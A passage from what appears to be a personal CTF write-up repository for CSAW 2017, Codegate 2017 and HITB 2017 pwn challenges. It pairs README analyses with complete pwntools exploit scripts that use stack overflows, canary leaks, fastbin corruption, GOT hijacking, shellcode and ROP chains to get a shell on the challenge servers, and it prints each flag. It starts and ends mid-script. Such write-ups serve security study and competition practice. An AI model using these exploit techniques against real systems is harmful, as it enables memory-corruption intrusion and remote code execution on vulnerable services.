'\x00'*2) - 0x3c4b78 37 | log.success('libc base: ' + hex(libc_base)) 38 | one_gadget = libc_base + 0xf0274 # constraint: [rsp+0x50] == NULL 39 | destroy(1) 40 | 41 | # utilize fastbin corruption to do GOT hijack 42 | # _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc -> one_gadget 43 | make(96-8, 'C'*4) # 2 44 | make(96-8, 'D'*4) # 3 45 | destroy(3) 46 | fix(2, 128, 'C'*80 + p64(0) + p64(0x61) + p64(0x605000-6)) 47 | make(96-8, 'E'*4) # 4 48 | make(96-8, 'F'*6 + p64(libc_base+0x3e1870) 49 | + p64(0x400910) 50 | + p64(0x400920) 51 | + p64(0x400930) 52 | + p64(0x400940) 53 | + p64(0x400950) 54 | + p64(0x400960) 55 | + p64(0x400970) 56 | + p64(0x400980) 57 | + p64(one_gadget)) # 5 58 | 59 | r.interactive() 60 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Auir/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Auir/libc-2.23.so -------------------------------------------------------------------------------- /CSAW-2017-qual/Pilot/README.md: -------------------------------------------------------------------------------- 1 | # Pilot 2 | 3 | > Arch: amd64-64-little 4 | > RELRO: Partial RELRO 5 | > Stack: No canary found 6 | > NX: NX disabled 7 | > PIE: No PIE (0x400000) 8 | > RWX: Has RWX segments 9 | 10 | ## Exploit 11 | 12 | The address printed after `[*]Location:` is address of input buffer. Besides, there is a stack overflow vulnerability. 13 | Thus we can write shellcode to buffer and do return to shellcode to get shell. 14 | 15 | flag: `flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}` 16 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Pilot/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('pwn.chal.csaw.io', 8464) 6 | 7 | context.arch = 'amd64' 8 | 9 | shellcode = asm(""" 10 | mov rax, 59 11 | mov r8, 0x0068732f6e69622f 12 | push r8 13 | mov rdi, rsp 14 | xor rsi, rsi 15 | xor rdx, rdx 16 | syscall 17 | """) 18 | 19 | r.recvuntil('[*]Location:') 20 | buf = int(r.recvline(), 16) 21 | log.success('buf: ' + hex(buf)) 22 | 23 | r.sendafter('[*]Command:', shellcode.ljust(40, 'A') + p64(buf)) 24 | 25 | r.interactive() 26 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Pilot/pilot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Pilot/pilot -------------------------------------------------------------------------------- /CSAW-2017-qual/README.md: -------------------------------------------------------------------------------- 1 | # CSAW-2017-qual 2 | 3 | This is the first CTF where I solved 4 PWN challenges :D 4 | -------------------------------------------------------------------------------- /CSAW-2017-qual/SCV/README.md: -------------------------------------------------------------------------------- 1 | # SCV 2 | 3 | > Arch: amd64-64-little 4 | > RELRO: Partial RELRO 5 | > Stack: Canary found 6 | > NX: NX enabled 7 | > PIE: No PIE (0x400000) 8 | 9 | ## Analysis 10 | 11 | ``` 12 | ------------------------- 13 | [*]SCV GOOD TO GO,SIR.... 14 | ------------------------- 15 | 1.FEED SCV.... 16 | 2.REVIEW THE FOOD.... 17 | 3.MINE MINERALS.... 18 | ------------------------- 19 | >> 20 | ``` 21 | 22 | * `FEED SCV` will ask us input something, which is long enough to overwrite return address 23 | * `REVIEW THE FOOD` will print our input using `puts` 24 | * `MINE MINERALS` to return from `main` 25 | 26 | ## Exploit 27 | 28 | My plan is building ROP chain to leak libc address from GOT, then returning back to `main`, doing ROP again. While this time, we can build `system("/bin/sh")` to open shell. 29 | Before we can do this, stack canary must be handled. I first overwrote the last byte of canary, which is definitely a null byte, then used `REVIEW THE FOOD` to print the content along with canary. 30 | With canary, we can do aforementioned operation to open a shell. 31 | 32 | flag: `flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}` 33 | -------------------------------------------------------------------------------- /CSAW-2017-qual/SCV/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('pwn.chal.csaw.io', 3764) 6 | libc = ELF('libc-2.23.so') 7 | 8 | context.arch = 'amd64' 9 | 10 | puts_plt = 0x4008d0 11 | puts_got = 0x602018 12 | main = 0x400a96 13 | pop_rdi_ret = 0x400ea3 14 | 15 | def feed(food): 16 | r.sendlineafter('>>', '1') 17 | r.sendafter('>>', food) 18 | 19 | def review(): 20 | r.sendlineafter('>>', '2') 21 | 22 | def mine(): 23 | r.sendlineafter('>>', '3') 24 | 25 | # leak canary 26 | feed('A'*169) 27 | review() 28 | r.recvuntil('A'*169) 29 | canary = u64('\x00' + r.recvn(7)) 30 | log.success('canary: ' + hex(canary)) 31 | 32 | rop1 = flat( 33 | pop_rdi_ret, 34 | puts_got, 35 | puts_plt, 36 | main 37 | ) 38 | 39 | # leak libc address 40 | feed('A'*168 + p64(canary) + 'A'*8 + rop1) 41 | mine() 42 | r.recvuntil('[*]BYE ~ TIME TO MINE MIENRALS...\n') 43 | libc_base = u64(r.recvn(6) + '\x00'*2) - libc.symbols['puts'] 44 | log.success('libc base: ' + hex(libc_base)) 45 | system = libc_base + libc.symbols['system'] 46 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 47 | 48 | rop2 = flat( 49 | pop_rdi_ret, 50 | binsh, 51 | system 52 | ) 53 | 54 | feed('A'*168 + p64(canary) + 'A'*8 + rop2) 55 | mine() 56 | 57 | r.interactive() 58 | -------------------------------------------------------------------------------- /CSAW-2017-qual/SCV/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/SCV/libc-2.23.so -------------------------------------------------------------------------------- /CSAW-2017-qual/SCV/scv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/SCV/scv -------------------------------------------------------------------------------- /CSAW-2017-qual/Zone/README.md: -------------------------------------------------------------------------------- 1 | # Zone 2 | 3 | > Arch: amd64-64-little 4 | > RELRO: Partial RELRO 5 | > Stack: Canary found 6 | > NX: NX enabled 7 | > PIE: No PIE (0x400000) 8 | 9 | ## Analysis 10 | 11 | ``` 12 | Environment setup: 0x7ffe5ca30940 13 | 1) Allocate block 14 | 2) Delete block 15 | 3) Write to last block 16 | 4) Print last block 17 | 5) Exit 18 | ``` 19 | 20 | This program implement a memory allocator. According to size user asked for, there are 0x40, 0x80, 0x100 and 0x200 blocks available. 21 | The available blocks are maintain in a pool, it records block address which will be allocated next for each size. This pool is located at stack, whose address is printed at beginning. 22 | For instance, next allocated 0x40 block will be `0x7fb09a2c8000` in this case. 23 | 24 | ``` 25 | 0x7ffe5ca30940: 0x0000000000000040 0x00007fb09a2c8000 26 | 0x7ffe5ca30950: 0x00007fb09a2c8000 0x0000000000000080 27 | 0x7ffe5ca30960: 0x00007fb09a2c7000 0x00007fb09a2c7000 28 | 0x7ffe5ca30970: 0x0000000000000100 0x00007fb09a2c6000 29 | 0x7ffe5ca30980: 0x00007fb09a2c6000 0x0000000000000200 30 | 0x7ffe5ca30990: 0x00007fb09a2c5000 0x00007fb09a2c5000 31 | ``` 32 | 33 | Each block itself has two attributes at header, `size` and `fd` pointer. 34 | `size` indicates the user-available space of this block. `fd` used to record address of next allocated block with the same size after this current block is allocated. 35 | For instance, following is the chain structure of 0x40 blocks. 36 | 37 |
 38 |                 ----------------------------------------------
 39 | 0x7fb09a2c8000: | 0x0000000000000040      0x00007fb09a2c8050 |---
 40 | 0x7fb09a2c8010: | 0x0000000000000000      0x0000000000000000 |  |
 41 | 0x7fb09a2c8020: | 0x0000000000000000      0x0000000000000000 |  |
 42 | 0x7fb09a2c8030: | 0x0000000000000000      0x0000000000000000 |  |
 43 | 0x7fb09a2c8040: | 0x0000000000000000      0x0000000000000000 |  |
 44 |                 ----------------------------------------------  |
 45 |          _______________________________________________________|
 46 |         |
 47 |         ↓       ----------------------------------------------
 48 | 0x7fb09a2c8050: | 0x0000000000000040      0x00007fb09a2c80a0 |---
 49 | 0x7fb09a2c8060: | 0x0000000000000000      0x0000000000000000 |  |
 50 | 0x7fb09a2c8070: | 0x0000000000000000      0x0000000000000000 |  |
 51 | 0x7fb09a2c8080: | 0x0000000000000000      0x0000000000000000 |  |
 52 | 0x7fb09a2c8090: | 0x0000000000000000      0x0000000000000000 |  |
 53 |                 ----------------------------------------------  |
 54 |          _______________________________________________________|
 55 |         |
 56 |         ↓       ----------------------------------------------
 57 | 0x7fb09a2c80a0: | 0x0000000000000040      0x00007fb09a2c80f0 |---
 58 | 0x7fb09a2c80b0: | 0x0000000000000000      0x0000000000000000 |  |
 59 |                               ...
 60 | 
61 | 62 | * `Allocate block` will check whether there is available block for required size. If there is, the allocator first replaces this block with the address at `fd` field of this block to the head of list. Afterwards, the `fd` field of this block will be cleared, and this block will be returned. 63 | If there are no available block for this size anymore, it will print `Nope sorry can't allocate that` warning message. 64 | 65 | ```c 66 | victim = *(bin_ptr + 8); // fetch block from head of list 67 | if ( victim ) // if block is available 68 | { 69 | if ( *(victim + 8) ) 70 | *(bin_ptr + 8) = *(victim + 8); // head of list will be replaced with fd of currently allocated block 71 | else 72 | *(bin_ptr + 8) = 0; 73 | *(victim + 8) = 0; // clear fd filed of currently allocated block 74 | result = victim + 16; 75 | } 76 | else 77 | { 78 | result = 0; 79 | } 80 | return result; 81 | ``` 82 | 83 | * `Delete block` will de-allocate a block and insert it to head of one of the lists according to its `size`. `fd` of this block will be filled with original head of this list. 84 | 85 | ```c 86 | if ( victim ) 87 | { 88 | *(victim + 8) = *(bin_ptr + 8); // fill fd of the de-allocated block with current head of list 89 | result = bin_ptr; 90 | *(bin_ptr + 8) = victim; // this block will become head of list 91 | } 92 | return result; 93 | ``` 94 | 95 | Until now, we can notice that the implementation is quite like the fastbin mechanism in glibc, especially the LIFO property. 96 | 97 | * `Write to last block` can write some data to most recently allocated block. The length limit of input is `size+1`, we can utilize this 1-byte overflow to overwrite `size` of following adjacent block. 98 | 99 | ```c 100 | for ( i = 0; i <= size; ++i ) // 1-byte overflow 101 | { 102 | if ( (unsigned int)read(0, &buf, 1uLL) == -1 ) 103 | exit(-1); 104 | if ( buf == '\n' ) 105 | break; 106 | *victim++ = buf; 107 | } 108 | ``` 109 | 110 | * `Print last block` will print contents of most recently allocated block using `puts` 111 | 112 | My plan is utilizing the trick similar to fastbin corruption to get a fake chunk at stack, and craft ROP chain to open shell. This will usually come with the challenge to find proper value on stack to serve as `size` of a fast chunk to circumvent the check. 113 | In this allocator, however, no such check exists ! Hence we get much more flexibility when picking target. 114 | 115 | ## Exploit 116 | 117 | In this case, my target is get a fake chunk at `return address of main - 16`, since return address of `main` will be instruction in `__libc_start_main`, which is located at libc. By choosing this, I can first leak libc address, then immediately write ROP chain on it, Perfect ! 118 | First of all, I allocate a 0x40 block, and overwrite `size` of following adjacent block to 0x80. Then I allocate 0x40 block again to get this size-modified block. 119 | Next, I de-allocate the size-modified block, this will make it be inserted into 0x80 list. After that, I allocate 0x80 block to get this size-modified block again, this make me get a 0x80 block among 0x40 blocks, which means I can overwrite `fd` of following 0x40 block ! 120 | 121 |
122 | the range we can write is marked as bold
123 | 
124 | 0x7fb09a2c8000: 0x0000000000000040      0x0000000000000000
125 | 0x7fb09a2c8010: 0x4141414141414141      0x4141414141414141
126 | 0x7fb09a2c8020: 0x4141414141414141      0x4141414141414141
127 | 0x7fb09a2c8030: 0x4141414141414141      0x4141414141414141
128 | 0x7fb09a2c8040: 0x4141414141414141      0x4141414141414141
129 | 0x7fb09a2c8050: 0x0000000000000080      0x0000000000000000
130 | 0x7fb09a2c8060: 0x0000000000000000      0x0000000000000000
131 | 0x7fb09a2c8070: 0x0000000000000000      0x0000000000000000
132 | 0x7fb09a2c8080: 0x0000000000000000      0x0000000000000000
133 | 0x7fb09a2c8090: 0x0000000000000000      0x0000000000000000
134 | 0x7fb09a2c80a0: 0x0000000000000040      0x00007f30066980f0 <- I can overwrite this fd field
135 | 0x7fb09a2c80b0: 0x0000000000000000      0x0000000000000000
136 | 0x7fb09a2c80c0: 0x0000000000000000      0x0000000000000000
137 | 0x7fb09a2c80d0: 0x0000000000000000      0x0000000000000000
138 | 0x7fb09a2c80e0: 0x0000000000000000      0x0000000000000000
139 | 
140 | 141 | After overwriting `fd` of a 0x40 block, I allocate 0x40 block 2 times, the second allocation will be our target fake block. Finally, I can leak libc address and do ROP to open shell and cat the flag ! 142 | 143 | flag: `flag{d0n7_let_m3_g3t_1n_my_z0n3}` 144 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Zone/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('pwn.chal.csaw.io', 5223) 6 | libc = ELF('libc-2.23.so') 7 | 8 | libc_start_main_240_off = 0x20830 9 | 10 | def allocate(size): 11 | r.sendlineafter('Exit\n', '1') 12 | r.sendline(str(size)) 13 | 14 | def delete(): 15 | r.sendlineafter('Exit\n', '2') 16 | 17 | def write(content): 18 | r.sendlineafter('Exit\n', '3') 19 | r.send(content) 20 | 21 | def print_block(): 22 | r.sendlineafter('Exit\n', '4') 23 | 24 | def exit(): 25 | r.sendlineafter('Exit\n', '5') 26 | 27 | r.recvuntil('Environment setup: ') 28 | arena = int(r.recvn(14), 16) 29 | log.success('arena: ' + hex(arena)) 30 | 31 | # overwrite size of next 0x40 block to 0x80 32 | allocate(64) 33 | write('A'*64 + '\x80') 34 | # allocate and deallocate the modified chunk to insert it into chain of 0x80 chunks 35 | allocate(64) 36 | delete() 37 | # get the modified chunk from 0x80 chain, 38 | # this will make us write 0x81 byte among 0x40 chunks, so we can overwrite the fd-like field of following 0x40 chunk. 39 | # The concept is fastbin corruption, except for that the size field will not be checked ! 40 | # my target here is 0x10 byte before return address of main(), which points to libc 41 | allocate(128) 42 | write('B'*64 + p64(0x40) + p64(arena+0x78) + '\n') 43 | # get the fake chunk and leak libc address 44 | allocate(64) 45 | allocate(64) 46 | 47 | print_block() 48 | libc_base = u64(r.recvn(6) + '\x00'*2) - libc_start_main_240_off 49 | log.success('libc base: ' + hex(libc_base)) 50 | pop_rdi_ret = libc_base + 0x21102 51 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 52 | system = libc_base + libc.symbols['system'] 53 | 54 | # write to the fake chunk to overwrite return address of main() to ROP chain 55 | write(p64(pop_rdi_ret) + p64(binsh) + p64(system) + '\n') 56 | exit() 57 | 58 | r.interactive() 59 | -------------------------------------------------------------------------------- /CSAW-2017-qual/Zone/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Zone/libc-2.23.so -------------------------------------------------------------------------------- /CSAW-2017-qual/Zone/zone: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/CSAW-2017-qual/Zone/zone -------------------------------------------------------------------------------- /Codegate-CTF-2017-prequalification/BabyPwn/README.md: -------------------------------------------------------------------------------- 1 | # BabyPwn 2 | 3 | RELRO: Partial RELRO 4 | Stack: Canary found 5 | NX: NX enabled 6 | PIE: No PIE 7 | 8 | 這題和 [tutorial](https://github.com/briansp8210/CTF_writeup/tree/master/CSAW_2016/tutorial) 蠻像的,要先 leak 出 canary 以及 libc address,並在開 shell 之前先利用 `dup2` 將 file descripter 設好。 9 | 10 | ## exploit 11 | 12 | 題目使用的 input function 會固定接收 100bytes 的輸入,但 output function 則會用 `strlen(buf)` 來決定輸出長度。所以算好 offset,把 canary 的 null byte 蓋掉,就可以 leak 出他的值。 13 | 14 | ```c 15 | ssize_t input_func(void *buf, size_t len) 16 | { 17 | int v2; 18 | ssize_t result; 19 | int v4; 20 | 21 | v2 = *MK_FP(__GS__, 20); 22 | result = recv(fd, buf, len, 0); 23 | v4 = *MK_FP(__GS__, 20) ^ v2; 24 | return result; 25 | } 26 | ``` 27 | 28 | ```c 29 | ssize_t output_func(const char *buf) 30 | { 31 | int v1; 32 | size_t len; 33 | ssize_t result; 34 | int v4; 35 | 36 | v1 = *MK_FP(__GS__, 20); 37 | len = strlen(buf); 38 | result = send(fd, buf, len, 0); 39 | v4 = *MK_FP(__GS__, 20) ^ v1; 40 | return result; 41 | } 42 | ``` 43 | 44 | 接著就利用 stack overflow 來做 ROP,首先用 `output_func` 多 leak 出幾個 GOT 上的位址,在 [libcdb.com](http://libcdb.com/libc/92) 比較找到對應的 libc。 45 | 再來也把存在 `.bss` 上的 `fd` 給讀出來,準備給 `dup2` 用。 46 | 47 | ```python 48 | # 因為已經確定 libc 版本了,這裡就只有讀出一個來用 49 | r.sendafter('Input Your Message : ', 50 | 'A'*40 + p32(canary) + 'B'*12 + 51 | p32(write_output) + p32(pop_ebx_ret) + p32(send_got) + 52 | p32(write_output) + p32(menu) + p32(fd_addr) 53 | ) 54 | ``` 55 | 56 | return 回選單 function 後,就可以做第二次 ROP,先用 `dup2` 把 `stdin` 和 `stdout` 設好,再 `system("sh")` 就可以順利拿 shell 了。 57 | 58 | ```python 59 | r.sendafter('Input Your Message : ', 60 | 'A'*40 + p32(canary) + 'B'*12 + 61 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(0) + 62 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(1) + 63 | p32(system_plt) + p32(0xdeadbeef) + p32(sh) 64 | ) 65 | ``` 66 | 67 | `FLAG{Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^}` 68 | -------------------------------------------------------------------------------- /Codegate-CTF-2017-prequalification/BabyPwn/babypwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Codegate-CTF-2017-prequalification/BabyPwn/babypwn -------------------------------------------------------------------------------- /Codegate-CTF-2017-prequalification/BabyPwn/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('110.10.212.130', 8889) 5 | #r = remote('127.0.0.1', 8181) 6 | libc = ELF('libc-2.19_16.so') 7 | 8 | read_input = 0x08048907 9 | write_output = 0x080488b1 10 | fd_addr = 0x0804B1B8 11 | send_plt = 0x08048700 12 | send_got = 0x804b064 13 | send_off = libc.symbols['send'] 14 | system_plt = 0x08048620 15 | pop_ebx_ret = 0x08048589 16 | dup2_off = libc.symbols['dup2'] 17 | menu = 0x8048a71 18 | pop_edi_ebp_ret = 0x08048b84 19 | 20 | # leak canary 21 | r.sendlineafter('Select menu > ', str(1)) 22 | r.sendafter('Input Your Message : ', 'A'*40+'B') 23 | r.recvuntil('A'*40+'B') 24 | canary = u32('\x00'+r.recvn(3)) 25 | print 'canary is: ', hex(canary) 26 | 27 | # leak send@got.plt address and fd stored on .bss 28 | r.sendlineafter('Select menu > ', str(1)) 29 | r.sendafter('Input Your Message : ', 30 | 'A'*40 + p32(canary) + 'B'*12 + 31 | p32(write_output) + p32(pop_ebx_ret) + p32(send_got) + 32 | p32(write_output) + p32(menu) + p32(fd_addr) 33 | ) 34 | 35 | # select "3. Exit" to make this function return to run ROP chain 36 | r.sendlineafter('Select menu > ', str(3)) 37 | 38 | base = u32(r.recv()[0:4]) - send_off 39 | print 'libc base: ', hex(base) 40 | dup2 = base + dup2_off 41 | sh = base + next(libc.search('sh\x00')) 42 | 43 | fd = int(enhex(r.recvn(1)), 16) 44 | print 'fd: ', hex(fd) 45 | 46 | r.sendlineafter('Select menu > ', str(1)) 47 | r.sendafter('Input Your Message : ', 48 | 'A'*40 + p32(canary) + 'B'*12 + 49 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(0) + 50 | p32(dup2) + p32(pop_edi_ebp_ret) + p32(fd) + p32(1) + 51 | p32(system_plt) + p32(0xdeadbeef) + p32(sh) 52 | ) 53 | 54 | r.sendlineafter('Select menu > ', str(3)) 55 | 56 | r.interactive() 57 | -------------------------------------------------------------------------------- /Codegate-CTF-2017-prequalification/BabyPwn/libc-2.19_16.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/Codegate-CTF-2017-prequalification/BabyPwn/libc-2.19_16.so -------------------------------------------------------------------------------- /HITB-GSEC-CTF-2017/SENTOSA/README.md: -------------------------------------------------------------------------------- 1 | # SENTOSA 2 | 3 | I solved this challenge after the competition ended, still enjoying the exploit process :D 4 | 5 | ``` 6 | Arch: amd64-64-little 7 | RELRO: Full RELRO 8 | Stack: Canary found 9 | NX: NX enabled 10 | PIE: PIE enabled 11 | FORTIFY: Enabled 12 | ``` 13 | 14 | ## analysis 15 | 16 | ``` 17 | Welcome to Sentosa Development Center 18 | Choose your action: 19 | 1. Start a project 20 | 2. View all projects 21 | 3. Edit a project 22 | 4. Cancel a project 23 | 5. Exit 24 | ``` 25 | 26 | * `Start a project` can create a project, which has information stored in heap with following structure, and the address of this chunk will be stored to a global array 27 | 28 | ``` 29 | +---------------+ 30 | | name length | 4 31 | +---------------+ 32 | | | 33 | | name | name_len + 1 34 | | | 35 | +---------------+ 36 | | sanity check | 4 37 | +---------------+ 38 | | price | 4 39 | +---------------+ 40 | | area | 4 41 | +---------------+ 42 | | capacity | 4 43 | +---------------+ 44 | ``` 45 | 46 | * `View all projects` will fetch each information chunk according to aforementioned global array and display their information 47 | * `Edit a project` is not implemented 48 | * `Cancel a project` will do sanity check and free the information chunk of a specific project. Then clear this address from the global array 49 | 50 | In start project function, all attributes are directly written, while `name` is first read into stack then `strncpy` to heap. The read input function looks like this: 51 | 52 | ```c 53 | void read_input(char *target, int len) 54 | { 55 | int len2 = len - 1; 56 | char *target_iter; 57 | int64_t idx; 58 | char buf; 59 | 60 | if(len2) 61 | { 62 | target_iter = target; 63 | idx = 0; 64 | do 65 | { 66 | read(0, &buf, 1); 67 | if(buf == '\n') 68 | { 69 | target[idx] = 0; 70 | return; 71 | } 72 | idx++; 73 | *target_iter++ = buf; 74 | } 75 | while(idx != len2); 76 | } 77 | else 78 | { 79 | idx = 0; 80 | } 81 | target[idx] = 0; 82 | return; 83 | } 84 | ``` 85 | 86 | Thus, we can input only length-1 bytes, and a null byte will be appended at the end. 87 | But wait, if `len` is 0, then we can input massive number of bytes, which indeed long enough to overwrite return address ! 88 | There is canary on stack, however, so the only valuable thing I can overwrite is the address points to the information chunk. Arbitrary read is possible by overwriting this pointer to `target address - 4`, this fake pointer will be stored to global array, then we can use Visit to print the contents of target address when name field is printed. 89 | 90 |
 91 |             0x00007f1a7d560780      0x000000437d2916e0
 92 | name buf -> 0x0000000000000000      0x0000000000000000
 93 |             0x0000000000000000      0x0000000000000000
 94 |             0x0000000000000000      0x0000000000000000
 95 |             0x0000000000000000      0x0000000000000000
 96 |             0x0000000000000000      0x0000000000000000
 97 |             0x0000000000000000  +-> 0x55f084ace0100000
 98 |             0x0000000000000000  |   0x69ad78b4f31ef400
 99 |             0x000055f082b0a29a  |   0x000055f082b0a3f8
100 |             0x00007ffcce3e5004  |   0x000055f082b09a30
101 |             0x00007ffcce3e5120  |   0x000055f082b0a117 <- ret address of Start project
102 |                                 |
103 |                         information pointer
104 | 
105 | 106 | ## exploit 107 | 108 | First, since still no useful address available, I want to use null-byte overflow **(since the read input function will append null byte, we can't control the value of last byte)** to make the pointer points to somewhere a heap address locates, . 109 | To achieve this goal, I create proper number and size of project, then free two fast chunks with the same size, so that the fd field of target chunk will be filled, thus successfully get heap address. 110 | 111 |
112 | The fd field locates across price and area field of a project
113 | 
114 | 0x55f084ace000: 0x0000000000000000      0x0000000000000061
115 | 0x55f084ace010: 0x4141414100000043      0x0000000000000000
116 | 0x55f084ace020: 0x0000000000000000      0x0000000000000000
117 | 0x55f084ace030: 0x0000000000000000      0x0000000000000000
118 | 0x55f084ace040: 0x0000000000000000      0x0000000000000000
119 | 0x55f084ace050: 0x0000000000000000      0x0000000100000001
120 | 0x55f084ace060: 0x0000000300000002      0x0000000000000051
121 | 0x55f084ace070: 0x4242424200000033      0x0000000000000000
122 | 0x55f084ace080: 0x0000000000000000      0x0000000000000000
123 | 0x55f084ace090: 0x0000000000000000      0x0000000000000000
124 | 0x55f084ace0a0: 0x0000000000000000      0x0000000400000001
125 | 0x55f084ace0b0: 0x0000000600000005      0x0000000000000051
126 | 0x55f084ace0c0: 0x4343434300000033      0x0000000000000000
127 | 0x55f084ace0d0: 0x0000000000000000      0x0000000000000000
128 | 0x55f084ace0e0: 0x0000000000000000      0x0000000000000000
129 | 0x55f084ace0f0: 0x0000000000000000      0x0000000700000001
130 | 0x55f084ace100: 0x0000000900000008      0x0000000000000041
131 | 0x55f084ace110: 0x000055f084ace180      0x0000000000000000
132 | 0x55f084ace120: 0x0000000000000000      0x0000000100000000
133 | 0x55f084ace130: 0x0000000b0000000a      0x000000000000000c
134 | 0x55f084ace140: 0x0000000000000000      0x0000000000000021
135 | 0x55f084ace150: 0x0000004500000003      0x0000000d00000001
136 | 0x55f084ace160: 0x0000000f0000000e      0x0000000000000021
137 | 0x55f084ace170: 0x0000010000000000      0x0000110000001000
138 | 0x55f084ace180: 0x0000000000001200      0x0000000000000041
139 | 0x55f084ace190: 0x0000000000000000      0x0000000000000000
140 | 0x55f084ace1a0: 0x0000000000000000      0x0000000000000000
141 | 0x55f084ace1b0: 0x0000000000000000      0x0000001300000001
142 | 
143 | 144 | With heap base address, I can arbitrarily read content on heap. 145 | My plan is to allocate small chunks then free one of them so that libc address will appear on heap. Unfortunately, the maximum chunk can be allocated is still fast chunk, so I had to forge these small chunks, which took quite lots of time since null byte can't be used under the usage of `strncpy`, and sanity check must be satisfied. 146 | After trial and error, I finally get libc address, then continue to leak stack address by `environ` symbol. And finally, leak stack canary by stack address with ease. 147 | With stack canary, we can do ROP to open shell ! 148 | 149 | flag: `HITB{Thank_y0u_f0r_d3v3l0ping_SENTOSA}` 150 | -------------------------------------------------------------------------------- /HITB-GSEC-CTF-2017/SENTOSA/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('127.0.0.1', 4000) 5 | #r = remote('47.74.144.222', 20007) 6 | libc = ELF('libc.so.6') 7 | 8 | def start(name_len, name, price, area, capacity): 9 | r.sendlineafter('5. Exit', '1') 10 | r.sendlineafter('Input length of your project name: ', str(name_len)) 11 | r.sendafter('Input your project name: ', name) 12 | r.sendlineafter('Input your project price: ', str(price)) 13 | r.sendlineafter('Input your project area: ', str(area)) 14 | r.sendlineafter('Input your project capacity: ', str(capacity)) 15 | 16 | def view(): 17 | r.sendlineafter('5. Exit', '2') 18 | 19 | def edit(): 20 | r.sendlineafter('5. Exit', '3') 21 | 22 | def cancel(proj_idx): 23 | r.sendlineafter('5. Exit', '4') 24 | r.sendlineafter('Input your projects number: ', str(proj_idx)) 25 | 26 | start(96-29, 'AAAA\n', 1, 2, 3) #0 27 | start(80-29, 'BBBB\n', 4, 5, 6) #1 28 | start(80-29, 'CCCC\n', 7, 8, 9) #2 29 | start(23, 'DDDD\n', 10, 11, 12) #3 30 | 31 | start(32-29, 'E'+'\n', 13, 14, 15) #4 32 | start(0, 'F'*90+'\n', 16, 17, 18) #5 33 | start(64-29, 'GGGG\n', 19, 20, 21) #6 34 | 35 | cancel(6) 36 | cancel(3) 37 | 38 | # leak heap base 39 | view() 40 | r.recvuntil('Capacity: 15') 41 | r.recvuntil('Price: ') 42 | mid = (int(r.recvline()[:-1], 10) & 0xffffffff) << 8 43 | r.recvuntil('Area: ') 44 | front = int(r.recvline()[:-1], 10) << 40 45 | heap_base = front + mid + 0x80 - 0x180 46 | log.success('heap base: ' + hex(heap_base)) 47 | 48 | start(0x40-29, 'aaaa\n', 0x44444444, 0x45454545, 0x46464646) #3 49 | 50 | start(45-29, 'HHHH\x01\x01\n', 0, 0, 0) #6 51 | start(0x40-29, 'IIII\n', 22, 23, 24) #7 52 | start(0x40-29, 'JJJJ\n', 25, 26, 27) #8 53 | start(0x40-29, 'KKKK\n', 28, 29, 30) #9 54 | start(0x40-29, 'LLLL\n', 31, 32, 33) #10 55 | start(36-29, 'MMMM\n', 0x101, 1094795585, 0x101) #11 56 | start(0x50-29, 'NNNN\n', 34, 35, 36) #12 57 | start(0x50-29, 'OOOO\n', 37, 38, 39) #13 58 | start(0x30-29, 'PPPP\n', 40, 41, 42) #14 59 | start(36-29, 'QQQQ\n', 0x101, 1094795585, 0x21) #15 60 | 61 | #raw_input('#') 62 | 63 | cancel(0) 64 | cancel(1) 65 | cancel(2) 66 | 67 | start(0, 'R'*90+p64(heap_base+0x1e0)[:6]+'\n', 43, 44, 45) #0 68 | cancel(0) 69 | 70 | #raw_input('#') 71 | 72 | # to prevent invalid access during following view() 73 | cancel(8) 74 | cancel(9) 75 | cancel(10) 76 | cancel(11) 77 | cancel(12) 78 | cancel(13) 79 | cancel(14) 80 | cancel(15) 81 | 82 | # leak libc address 83 | start(0, 'S'*90+p64(heap_base+0x200-4)[:6]+'\n', 46, 47, 48) #0 84 | view() 85 | r.recvuntil('Project: ') 86 | libc_base = u64(r.recvn(6)+'\x00'*2) - 0x3c3b78 87 | 